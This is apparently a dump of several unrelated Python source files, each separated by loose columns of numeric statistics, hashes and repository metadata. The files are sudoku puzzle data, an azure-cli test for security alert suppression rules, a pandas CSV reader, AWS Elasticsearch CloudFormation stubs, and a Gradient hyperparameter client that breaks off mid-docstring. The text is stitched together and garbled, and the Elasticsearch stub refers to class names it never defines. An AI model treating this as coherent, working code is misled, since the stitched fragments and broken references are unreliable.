sudo22=np.reshape(sudoku22,(9,9)) sudo23=np.reshape(sudoku23,(9,9)) sudo24=np.reshape(sudoku24,(9,9)) sudo25=np.reshape(sudoku25,(9,9)) sudo26=np.reshape(sudoku26,(9,9)) sudo27=np.reshape(sudoku27,(9,9)) sudo28=np.reshape(sudoku28,(9,9)) sudo29=np.reshape(sudoku29,(9,9)) sudo30=np.reshape(sudoku30,(9,9)) #Reshaped 9x9 list used for Simulated_Annealing.py sudoLst=[sudo1,sudo2,sudo3,sudo4,sudo5,sudo6,sudo7, sudo8,sudo9,sudo10,sudo11,sudo12,sudo13,sudo14, sudo15,sudo16,sudo17,sudo18,sudo19,sudo20,sudo21, sudo22,sudo23,sudo24,sudo25,sudo26,sudo27,sudo28,sudo29,sudo30] #Following functions used for ga.py def s1(): sudoku1 = [[0,0,0,4,0,0,2,0,0],[7,0,8,5,2,6,0,9,0],[5,0,0,0,1,0,0,0,0],[2,3,5,0,0,0,0,0,1],[0,0,6,0,7,0,4,0,0],[4,0,0,0,0,0,6,3,9],[0,0,0,0,3,0,0,0,7],[0,6,0,1,5,2,9,0,4],[0,0,4,0,0,8,0,0,0]] return sudoku1 def s2(): sudoku2 = [[0,0,0,0,1,2,8,4,5],[0,1,0,7,0,0,0,3,0],[0,8,0,6,0,9,0,0,0],[2,0,0,0,0,7,4,0,0],[0,0,5,0,0,0,9,0,0],[0,0,8,9,0,0,0,0,2],[0,0,0,1,0,3,0,9,0],[0,3,0,0,0,4,0,8,0],[1,5,9,2,6,0,0,0,0]] return sudoku2 def s3(): sudoku3 = [[9,8,7,0,0,0,3,0,0],[1,6,0,0,8,0,0,9,0],[0,0,0,0,0,4,1,0,6],[0,2,0,0,0,6,0,0,8],[0,0,0,5,0,7,0,0,0],[3,0,0,9,0,0,0,6,0],[2,0,8,4,0,0,0,0,0],[0,7,0,0,1,0,0,5,9],[0,0,5,0,0,0,8,2,3]] return sudoku3 def s4(): sudoku4 = [[0,1,6,0,0,0,0,3,0],[8,0,0,9,0,0,2,0,6],[0,0,0,0,0,0,0,5,8],[0,7,2,4,0,6,0,0,0],[0,6,9,0,7,0,4,2,0],[0,0,0,3,0,5,9,6,0],[1,3,0,0,0,0,0,0,0],[6,0,4,0,0,1,0,0,5],[0,2,0,0,0,0,8,1,0]] return sudoku4 def s5(): sudoku5 = [[0,3,0,6,0,5,0,8,0],[7,0,0,3,0,0,0,0,0],[0,0,0,9,7,0,5,4,0],[0,6,7,0,0,0,3,0,8],[0,2,0,0,0,0,0,6,0],[4,0,9,0,0,0,7,5,0],[0,9,5,0,3,4,0,0,0],[0,0,0,0,0,7,0,0,2],[0,7,0,1,0,6,0,9,0]] return sudoku5 def s6(): sudoku6 = [[1,0,0,5,0,6,0,9,0],[0,3,0,0,8,0,4,0,0],[6,0,0,0,7,0,1,0,2],[0,0,0,0,0,7,0,2,4],[7,0,0,0,9,0,0,0,8],[9,2,0,6,0,0,0,0,0],[3,0,2,0,5,0,0,0,6],[0,0,1,0,6,0,0,5,0],[0,9,0,8,0,1,0,0,7]] return sudoku6 def s7(): sudoku7 = [[0,0,0,0,0,5,1,7,0],[5,0,9,6,0,1,0,8,0],[0,8,2,0,4,0,0,0,5],[0,0,3,0,0,0,0,0,0],[0,1,0,8,0,7,0,2,0],[0,0,0,0,0,0,5,0,0],[7,0,0,0,9,0,6,5,0],[0,5,0,4,0,6,7,0,8],[0,3,6,5,0,0,0,0,0]] return sudoku7 def s8(): sudoku8 = [[4,0,0,0,0,1,3,0,0],[0,2,0,0,3,0,0,7,6],[0,0,0,0,0,9,0,4,8],[0,6,0,0,0,7,2,5,0],[0,1,0,0,4,0,0,3,0],[0,5,7,3,0,0,0,9,0],[6,7,0,1,0,0,0,0,0],[1,9,0,0,5,0,0,6,0],[0,0,5,8,0,0,0,0,3]] return sudoku8 def s9(): sudoku9 = [[5,0,0,0,4,7,0,8,0],[0,7,0,5,0,0,0,0,0],[9,0,8,0,6,0,0,2,5],[0,2,0,0,0,3,0,0,0],[7,0,0,8,0,6,0,0,3],[0,0,0,9,0,0,0,4,0],[2,1,0,0,3,0,8,0,6],[0,0,0,0,0,9,0,5,0],[0,8,0,1,2,0,0,0,7]] return sudoku9 def s10(): sudoku10 = [[3,2,0,0,8,0,0,0,1],[0,5,0,0,0,0,0,0,9],[8,9,1,0,7,0,3,0,0],[5,1,0,0,4,0,0,0,0],[0,0,0,7,0,3,0,0,0],[0,0,0,0,6,0,0,9,4],[0,0,8,0,3,0,9,4,6],[4,0,0,0,0,0,0,8,0],[9,0,0,0,1,0,0,5,3]] return sudoku10 def s11(): sudoku11 = [[2,0,0,0,0,1,0,6,8],[1,8,4,0,0,0,0,0,0],[7,0,0,0,0,2,9,0,0],[0,4,1,0,2,0,0,7,0],[0,0,7,0,0,0,8,0,0],[0,6,0,0,3,0,1,5,0],[0,0,5,2,0,0,0,0,4],[0,0,0,0,0,0,2,8,7],[4,9,0,3,0,0,0,0,6]] return sudoku11 def s12(): sudoku12 = [[6,1,0,0,0,9,0,0,2],[0,0,0,2,0,0,0,0,5],[0,0,5,1,6,4,8,0,0],[2,3,0,0,0,5,1,0,0],[0,0,0,0,0,0,0,0,0],[0,0,9,3,0,0,0,4,8],[0,0,6,9,1,8,5,0,0],[5,0,0,0,0,3,0,0,0],[8,0,0,7,0,0,0,9,6]] return sudoku12 def s13(): sudoku13 = [[0,0,0,0,2,8,0,0,0],[0,7,0,9,4,0,0,1,6],[6,0,0,0,0,0,2,0,8],[0,3,0,0,6,2,0,0,0],[0,0,2,4,0,7,9,0,0],[0,0,0,3,9,0,0,7,0],[1,0,7,0,0,0,0,0,4],[5,2,0,0,3,4,0,8,0],[0,0,0,7,8,0,0,0,0]] return sudoku13 def s14(): sudoku14 = [[0,0,4,9,0,0,0,2,0],[5,2,0,6,0,0,0,0,7],[0,3,0,0,0,0,0,4,6],[8,0,0,3,7,0,2,0,0],[0,0,5,0,6,0,4,0,0],[0,0,2,0,5,9,0,0,8],[4,1,0,0,0,0,0,8,0],[2,0,0,0,0,1,0,6,9],[0,6,0,0,0,3,7,0,0]] return sudoku14 def s15(): sudoku15 = [[0,6,8,0,0,9,0,0,0],[0,1,0,0,6,0,0,5,0],[7,0,0,5,0,1,8,0,0],[6,0,2,0,4,0,0,7,5],[0,0,0,0,0,0,0,0,0],[3,5,0,0,1,0,2,0,9],[0,0,5,3,0,6,0,0,1],[0,9,0,0,2,0,0,3,0],[0,0,0,1,0,0,7,9,0]] return sudoku15 def s16(): sudoku16 =[[0,0,0,4,0,2,8,1,6],[0,0,0,8,6,7,0,2,0],[0,0,6,0,0,0,0,0,0],[7,0,5,6,0,0,0,0,0],[9,0,0,3,0,5,0,0,1],[0,0,0,0,0,4,2,0,9],[0,0,0,0,0,0,4,0,0],[0,7,0,9,1,3,0,0,0],[6,5,2,7,0,8,0,0,0]] return sudoku16 def s17(): sudoku17 = [[0,6,0,1,0,0,2,0,0],[0,3,0,0,2,4,6,0,7],[0,0,2,0,0,0,0,0,8],[0,0,0,0,0,0,5,0,4],[0,7,8,2,0,6,9,3,0],[3,0,1,0,0,0,0,0,0],[6,0,0,0,0,0,3,0,0],[2,0,3,9,7,0,0,1,0],[0,0,4,0,0,8,0,2,0]] return sudoku17 def s18(): sudoku18 = [[0,4,0,9,0,6,0,0,0],[0,0,8,0,0,0,4,7,1],[0,7,3,0,1,0,0,6,2],[0,0,4,0,0,3,0,1,0],[0,0,0,0,0,0,0,0,0],[0,1,0,6,0,0,8,0,0],[1,9,0,0,3,0,2,4,0],[3,2,5,0,0,0,7,0,0],[0,0,0,5,0,2,0,9,0]] return sudoku18 def s19(): sudoku19 = [[0,2,8,0,0,0,0,0,9],[0,0,4,0,0,2,8,3,0],[0,9,0,8,0,6,0,0,0],[0,0,6,0,0,8,0,7,0],[0,3,0,4,0,7,0,2,0],[0,4,0,6,0,0,9,0,0],[0,0,0,2,0,1,0,8,0],[0,6,2,7,0,0,1,0,0],[3,0,0,0,0,0,2,4,0]] return sudoku19 def s20(): sudoku20 = [[0,0,7,3,0,0,8,0,0],[8,0,3,1,5,0,0,9,0],[0,0,1,6,0,0,0,0,0],[7,9,0,0,0,0,2,1,6],[0,0,0,0,0,0,0,0,0],[1,8,2,0,0,0,0,3,4],[0,0,0,0,0,5,4,0,0],[0,5,0,0,2,8,1,0,3],[0,0,4,0,0,3,9,0,0]] return sudoku20 def s21(): sudoku21 = [[1,3,4,5,0,6,0,9,0],[0,0,0,0,0,9,0,0,0],[6,9,0,0,7,1,0,0,0],[4,0,3,0,0,0,1,0,0],[0,1,0,0,0,0,0,7,0],[0,0,2,0,0,0,5,0,4],[0,0,0,1,9,0,0,4,6],[0,0,0,8,0,0,0,0,0],[0,5,0,7,0,3,9,8,1]] return sudoku21 def s22(): sudoku22 = [[1,0,3,0,0,2,7,8,0],[0,0,0,0,0,3,2,0,0],[0,4,6,0,7,5,0,0,1],[0,0,1,0,0,0,8,0,4],[0,0,0,0,0,0,0,0,0],[7,0,8,0,0,0,5,0,0],[6,0,0,9,4,0,1,5,0],[0,0,9,3,0,0,0,0,0],[0,1,4,7,0,0,3,0,9]] return sudoku22 def s23(): sudoku23 = [[0,0,7,0,5,0,0,2,9],[4,9,0,0,0,0,7,6,0],[0,0,0,0,1,0,0,0,0],[1,3,0,5,0,0,0,7,0],[0,7,4,0,0,0,8,3,0],[0,8,0,0,0,3,0,1,2],[0,0,0,0,4,0,0,0,0],[0,4,9,0,0,0,0,8,6],[7,5,0,0,9,0,1,0,0]] return sudoku23 def s24(): sudoku24 = [[0,1,0,0,7,0,0,0,0],[0,7,6,9,0,0,8,5,3],[0,0,0,3,0,4,0,0,0],[0,6,7,0,5,0,2,0,9],[0,0,0,0,0,0,0,0,0],[1,0,8,0,9,0,7,4,0],[0,0,0,1,0,7,0,0,0],[2,8,1,0,0,9,4,6,0],[0,0,0,0,2,0,0,9,0]] return sudoku24 def s25(): sudoku25 = [[0,5,0,0,0,2,0,0,9],[0,0,0,0,1,9,0,0,7],[0,0,8,3,4,0,0,0,0],[0,0,0,4,0,0,0,9,3],[7,0,3,9,2,8,4,0,5],[9,6,0,0,0,5,0,0,0],[0,0,0,0,9,3,8,0,0],[2,0,0,7,6,0,0,0,0],[3,0,0,8,0,0,0,1,0]] return sudoku25 def s26(): sudoku26 = [[0,0,0,2,8,0,0,0,0],[4,9,0,0,0,5,0,2,0],[0,0,2,0,0,0,5,3,7],[9,0,0,0,0,8,0,7,0],[0,0,7,1,0,2,4,0,0],[0,8,0,3,0,0,0,0,6],[7,4,6,0,0,0,9,0,0],[0,1,0,5,0,0,0,6,3],[0,0,0,0,7,1,0,0,0]] return sudoku26 def s27(): sudoku27 = [[0,0,7,0,0,0,0,0,0],[1,0,9,5,6,0,0,0,0],[0,5,0,0,0,8,0,0,2],[8,3,2,0,0,6,1,0,0],[7,4,0,0,0,0,0,9,6],[0,0,6,2,0,0,4,8,3],[2,0,0,9,0,0,0,5,0],[0,0,0,0,4,7,6,0,8],[0,0,0,0,0,0,3,0,0]] return sudoku27 def s28(): sudoku28 = [[8,0,0,4,5,0,7,0,0],[0,0,0,0,2,0,3,0,0],[9,0,7,3,0,8,0,0,2],[0,6,0,0,0,0,0,0,3],[0,8,4,0,9,0,2,7,0],[7,0,0,0,0,0,0,5,0],[2,0,0,6,0,7,5,0,4],[0,0,8,0,4,0,0,0,0],[0,0,5,0,1,3,0,0,9]] return sudoku28 def s29(): sudoku29 = [[0,5,0,0,8,0,6,4,0],[0,0,7,0,0,1,9,0,0],[3,0,0,0,2,9,0,0,1],[0,0,8,0,0,2,0,7,3],[0,0,0,0,5,0,0,0,0],[2,9,0,8,0,0,1,0,0],[6,0,0,9,1,0,0,0,7],[0,0,2,3,0,0,4,0,0],[0,3,1,0,7,0,0,5,0]] return sudoku29 def s30(): sudoku30 = [[1,0,0,8,5,0,3,0,6],[0,0,0,0,6,0,0,8,0],[5,0,8,0,0,4,0,0,9],[0,0,0,3,0,0,0,0,1],[0,9,1,0,0,0,2,7,0],[3,0,0,0,0,2,0,0,0],[9,0,0,6,0,0,1,0,7],[0,5,0,0,9,0,0,0,0],[8,0,7,0,4,3,0,0,2]] return sudoku30

34.713024

196

0.477774

5,372

15,725

1.396873

0.031646

0.473348

0.392591

0.285714

0.71322

0.710821

0.709222

0

0.381191

0.110143

15,725

453

197

34.713024

0.155078

0.012273

0

0.014888

0

1

0.074442

false

0

0.002481

0

0.151365

0

1

null

1

0

1

0

1

0

1

0

null

0

11

db1f57f174b876d999325307f94a0ceb8191d823

2,800

py

Python

src/azure-cli/azure/cli/command_modules/security/tests/latest/test_alerts_suppression_rules.py

ZengTaoxu/azure-cli

6be96de450da5ac9f07aafb22dd69880bea04792

[ "MIT" ]

null

src/azure-cli/azure/cli/command_modules/security/tests/latest/test_alerts_suppression_rules.py

ZengTaoxu/azure-cli

6be96de450da5ac9f07aafb22dd69880bea04792

[ "MIT" ]

null

src/azure-cli/azure/cli/command_modules/security/tests/latest/test_alerts_suppression_rules.py

ZengTaoxu/azure-cli

6be96de450da5ac9f07aafb22dd69880bea04792

[ "MIT" ]

null

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- import pytest from azure.cli.testsdk import ScenarioTest class SecurityCenterAlertsSuppressionRuleTests(ScenarioTest): def test_security_alerts_suppression_rule(self): self.kwargs.update({ 'rule_name': self.create_random_name(prefix='azurecli-test', length=24) }) azure_cli_new_suppression_rule = self.cmd('az security alerts-suppression-rule update --rule-name {rule_name} --alert-type "Test" --reason "Other" --comment "Test comment" --state "Enabled"').get_output_in_json() assert len(azure_cli_new_suppression_rule) > 0 azure_cli_new_suppression_rule = self.cmd('az security alerts-suppression-rule update --rule-name {rule_name} --alert-type "Test2" --reason "Other" --comment "Test comment" --state "Enabled"').get_output_in_json() assert len(azure_cli_new_suppression_rule) > 0 azure_cli_new_suppression_rule_scope = self.cmd('az security alerts-suppression-rule upsert_scope --rule-name {rule_name} --field "entities.process.commandline" --contains-substring "example"').get_output_in_json() assert len(azure_cli_new_suppression_rule_scope) > 0 azure_cli_new_suppression_rule_scope = self.cmd('az security alerts-suppression-rule upsert_scope --rule-name {rule_name} --field "entities.account.name" --contains-substring "example"').get_output_in_json() assert len(azure_cli_new_suppression_rule_scope) > 0 azure_cli_new_suppression_rule_scope = self.cmd('az security alerts-suppression-rule delete_scope --rule-name {rule_name} --field "entities.process.commandline"').get_output_in_json() assert len(azure_cli_new_suppression_rule_scope) > 0 azure_cli_new_suppression_rule_scope = self.cmd('az security alerts-suppression-rule delete_scope --rule-name {rule_name} --field "entities.account.name"').get_output_in_json() assert len(azure_cli_new_suppression_rule_scope) > 0 azure_cli_get_suppression_rule = self.cmd('az security alerts-suppression-rule show --rule-name {rule_name}').get_output_in_json() assert len(azure_cli_get_suppression_rule) > 0 azure_cli_list_suppression_rule = self.cmd('az security alerts-suppression-rule list').get_output_in_json() assert len(azure_cli_list_suppression_rule) > 0 self.cmd('az security alerts-suppression-rule delete --rule-name {rule_name}')

66.666667

226

0.685357

348

2,800

5.183908

0.212644

0.216186

0.073171

0.146341

0.786585

0.757206

0.715078

0.604213

0

0.004647

0.154643

2,800

42

227

66.666667

0.757499

0.12

0

0.25

0

0.25

0.397154

0.127236

0

0.333333

1

0.041667

false

0

0.083333

0

0.166667

0

null

1

0

1

0

1

0

null

0

7

e1ddc641910f7c5a07c3f1e725281830f65923fa

208

py

Python

dd/api/workflow/readers.py

octo-technology/ddapi

08b56016bf59a02c42d79a117a8de1e23e5b4f90

[ "Apache-2.0" ]

4

2019-06-09T13:15:37.000Z

2020-12-22T08:37:36.000Z

dd/api/workflow/readers.py

octo-technology/ddapi

08b56016bf59a02c42d79a117a8de1e23e5b4f90

[ "Apache-2.0" ]

null

dd/api/workflow/readers.py

octo-technology/ddapi

08b56016bf59a02c42d79a117a8de1e23e5b4f90

[ "Apache-2.0" ]

null

import pandas as pd class CSVReader(object): def __init__(self, **read_options): self.read_options = read_options def read(self, path): return pd.read_csv(path, **self.read_options)

23.111111

53

0.682692

29

208

4.586207

0.517241

0.330827

0.338346

0

0.211538

208

9

53

23.111111

0.810976

0

1

0.333333

false

0

0.166667

0.833333

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

c0514104c99e0e3050dde1da7c4515e95bb6f183

12,875

py

Python

stubs/elasticsearch.py

claytonbrown/troposphere

bf0f1e48b14f578de0221d50f711467ad716ca87

[ "BSD-2-Clause" ]

null

stubs/elasticsearch.py

claytonbrown/troposphere

bf0f1e48b14f578de0221d50f711467ad716ca87

[ "BSD-2-Clause" ]

null

stubs/elasticsearch.py

claytonbrown/troposphere

bf0f1e48b14f578de0221d50f711467ad716ca87

[ "BSD-2-Clause" ]

null

from . import AWSObject, AWSProperty from .validators import * from .constants import * # ------------------------------------------- class ElasticsearchElasticsearchClusterConfig(AWSProperty): """# ElasticsearchClusterConfig - CloudFormationResourceSpecification version: 1.4.0 { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html", "Properties": { "DedicatedMasterCount": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-dedicatedmastercount", "PrimitiveType": "Integer", "Required": false, "UpdateType": "Mutable" }, "DedicatedMasterEnabled": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-dedicatedmasterenabled", "PrimitiveType": "Boolean", "Required": false, "UpdateType": "Mutable" }, "DedicatedMasterType": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-dedicatedmastertype", "PrimitiveType": "String", "Required": false, "UpdateType": "Mutable" }, "InstanceCount": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-instancecount", "PrimitiveType": "Integer", "Required": false, "UpdateType": "Mutable" }, "InstanceType": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-instnacetype", "PrimitiveType": "String", "Required": false, "UpdateType": "Mutable" }, "ZoneAwarenessEnabled": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-zoneawarenessenabled", "PrimitiveType": "Boolean", "Required": false, "UpdateType": "Mutable" } } } """ props = { 'DedicatedMasterCount': (positive_integer, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-dedicatedmastercount'), 'DedicatedMasterEnabled': (boolean, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-dedicatedmasterenabled'), 'DedicatedMasterType': (basestring, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-dedicatedmastertype'), 'InstanceCount': (positive_integer, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-instancecount'), 'InstanceType': (basestring, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-instnacetype'), 'ZoneAwarenessEnabled': (boolean, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-elasticsearchclusterconfig.html#cfn-elasticsearch-domain-elasticseachclusterconfig-zoneawarenessenabled') } # ------------------------------------------- class ElasticsearchSnapshotOptions(AWSProperty): """# SnapshotOptions - CloudFormationResourceSpecification version: 1.4.0 { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-snapshotoptions.html", "Properties": { "AutomatedSnapshotStartHour": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-snapshotoptions.html#cfn-elasticsearch-domain-snapshotoptions-automatedsnapshotstarthour", "PrimitiveType": "Integer", "Required": false, "UpdateType": "Mutable" } } } """ props = { 'AutomatedSnapshotStartHour': (positive_integer, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-snapshotoptions.html#cfn-elasticsearch-domain-snapshotoptions-automatedsnapshotstarthour') } # ------------------------------------------- class ElasticsearchEBSOptions(AWSProperty): """# EBSOptions - CloudFormationResourceSpecification version: 1.4.0 { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-ebsoptions.html", "Properties": { "EBSEnabled": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-ebsoptions.html#cfn-elasticsearch-domain-ebsoptions-ebsenabled", "PrimitiveType": "Boolean", "Required": false, "UpdateType": "Mutable" }, "Iops": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-ebsoptions.html#cfn-elasticsearch-domain-ebsoptions-iops", "PrimitiveType": "Integer", "Required": false, "UpdateType": "Mutable" }, "VolumeSize": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-ebsoptions.html#cfn-elasticsearch-domain-ebsoptions-volumesize", "PrimitiveType": "Integer", "Required": false, "UpdateType": "Mutable" }, "VolumeType": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-ebsoptions.html#cfn-elasticsearch-domain-ebsoptions-volumetype", "PrimitiveType": "String", "Required": false, "UpdateType": "Mutable" } } } """ props = { 'EBSEnabled': (boolean, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-ebsoptions.html#cfn-elasticsearch-domain-ebsoptions-ebsenabled'), 'Iops': (positive_integer, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-ebsoptions.html#cfn-elasticsearch-domain-ebsoptions-iops'), 'VolumeSize': (positive_integer, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-ebsoptions.html#cfn-elasticsearch-domain-ebsoptions-volumesize'), 'VolumeType': (basestring, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-elasticsearch-domain-ebsoptions.html#cfn-elasticsearch-domain-ebsoptions-volumetype') } # ------------------------------------------- class ElasticsearchDomain(AWSObject): """# AWS::Elasticsearch::Domain - CloudFormationResourceSpecification version: 1.4.0 { "Attributes": { "DomainArn": { "PrimitiveType": "String" }, "DomainEndpoint": { "PrimitiveType": "String" } }, "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html", "Properties": { "AccessPolicies": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-accesspolicies", "PrimitiveType": "Json", "Required": false, "UpdateType": "Mutable" }, "AdvancedOptions": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-advancedoptions", "DuplicatesAllowed": false, "PrimitiveItemType": "String", "Required": false, "Type": "Map", "UpdateType": "Mutable" }, "DomainName": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-domainname", "PrimitiveType": "String", "Required": false, "UpdateType": "Immutable" }, "EBSOptions": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-ebsoptions", "Required": false, "Type": "EBSOptions", "UpdateType": "Mutable" }, "ElasticsearchClusterConfig": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-elasticsearchclusterconfig", "Required": false, "Type": "ElasticsearchClusterConfig", "UpdateType": "Mutable" }, "ElasticsearchVersion": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-elasticsearchversion", "PrimitiveType": "String", "Required": false, "UpdateType": "Immutable" }, "SnapshotOptions": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-snapshotoptions", "Required": false, "Type": "SnapshotOptions", "UpdateType": "Mutable" }, "Tags": { "Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-tags", "DuplicatesAllowed": true, "ItemType": "Tag", "Required": false, "Type": "List", "UpdateType": "Mutable" } } } """ resource_type = "AWS::Elasticsearch::Domain" props = { 'AccessPolicies': ((basestring, dict), False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-accesspolicies'), 'AdvancedOptions': (dict, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-advancedoptions'), 'DomainName': (basestring, False, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-domainname'), 'EBSOptions': (EBSOptions, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-ebsoptions'), 'ElasticsearchClusterConfig': (ElasticsearchClusterConfig, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-elasticsearchclusterconfig'), 'ElasticsearchVersion': (basestring, False, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-elasticsearchversion'), 'SnapshotOptions': (SnapshotOptions, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-snapshotoptions'), 'Tags': ([Tag], False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticsearch-domain.html#cfn-elasticsearch-domain-tags') }

61.899038

274

0.692427

1,059

12,875

8.412653

0.07271

0.174879

0.051858

0.080144

0.838478

0.831743

0.758896

0

0.001109

0.159689

12,875

207

275

62.198068

0.82235

0.624777

0

0.114286

0

0.542857

0.744433

0.020812

0

1

0

false

0

0.085714

0

0.342857

0

null

0

1

0

1

0

null

0

8

fbe563ee9ba6fb943f26f3dba6dca921de366d83

10,668

py

Python

gradient/api_sdk/clients/hyperparameter_client.py

vishalbelsare/gradient-cli

c0e06252925cad3ad73d47ded1100f6b0cb0989a

[ "0BSD" ]

52

2019-06-10T04:20:00.000Z

2021-12-06T01:13:26.000Z

gradient/api_sdk/clients/hyperparameter_client.py

vishalbelsare/gradient-cli

c0e06252925cad3ad73d47ded1100f6b0cb0989a

[ "0BSD" ]

125

2019-06-05T16:34:19.000Z

2022-03-30T18:46:06.000Z

gradient/api_sdk/clients/hyperparameter_client.py

vishalbelsare/gradient-cli

c0e06252925cad3ad73d47ded1100f6b0cb0989a

[ "0BSD" ]

11

2019-07-16T06:48:55.000Z

2021-12-15T12:41:51.000Z

from . import base_client from .base_client import TagsSupportMixin from .. import models, repositories class HyperparameterJobsClient(TagsSupportMixin, base_client.BaseClient): entity = "experiment" def create( self, name, project_id, tuning_command, worker_container, worker_machine_type, worker_command, worker_count, worker_container_user=None, worker_registry_username=None, worker_registry_password=None, is_preemptible=False, ports=None, workspace_url=None, artifact_directory=None, cluster_id=None, experiment_env=None, trigger_event_id=None, model_type=None, model_path=None, dockerfile_path=None, hyperparameter_server_registry_username=None, hyperparameter_server_registry_password=None, hyperparameter_server_container=None, hyperparameter_server_container_user=None, hyperparameter_server_machine_type=None, working_directory=None, use_dockerfile=False, tags=None, ): """Create hyperparameter tuning job :param str name: Name of new experiment [required] :param str project_id: Project ID [required] :param str tuning_command: Tuning command [required] :param str worker_container: Worker container [required] :param str worker_machine_type: Worker machine type [required] :param str worker_command: Worker command [required] :param int worker_count: Worker count [required] :param str worker_container_user: Worker Container user :param 